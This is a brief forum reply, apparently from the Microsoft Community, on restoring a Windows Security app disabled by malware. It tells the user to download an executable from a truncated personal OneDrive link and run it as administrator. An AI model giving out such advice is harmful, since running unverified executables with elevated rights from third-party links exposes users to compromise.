Hi Eery,
I'm Sumit, here to answer your query at the Microsoft Community.
In simple words, a malware just disabled Windows Security app. The following will help.
Via https://answers.microsoft.com/en-us/windows/for...
Download SecurityHealthSetup.zip
https://1drv.ms/u/s!AqQnVFhmcB_woBb8TNxsgUQZRam...
Unzip SecurityHealthSetup.exe, then right click and run as administrator.
If it's not working straight away, restart the computer and give the system a few minutes to initialize before checking Windows Security.
Hope that helps, and rely on us for any further inquiries. All the best.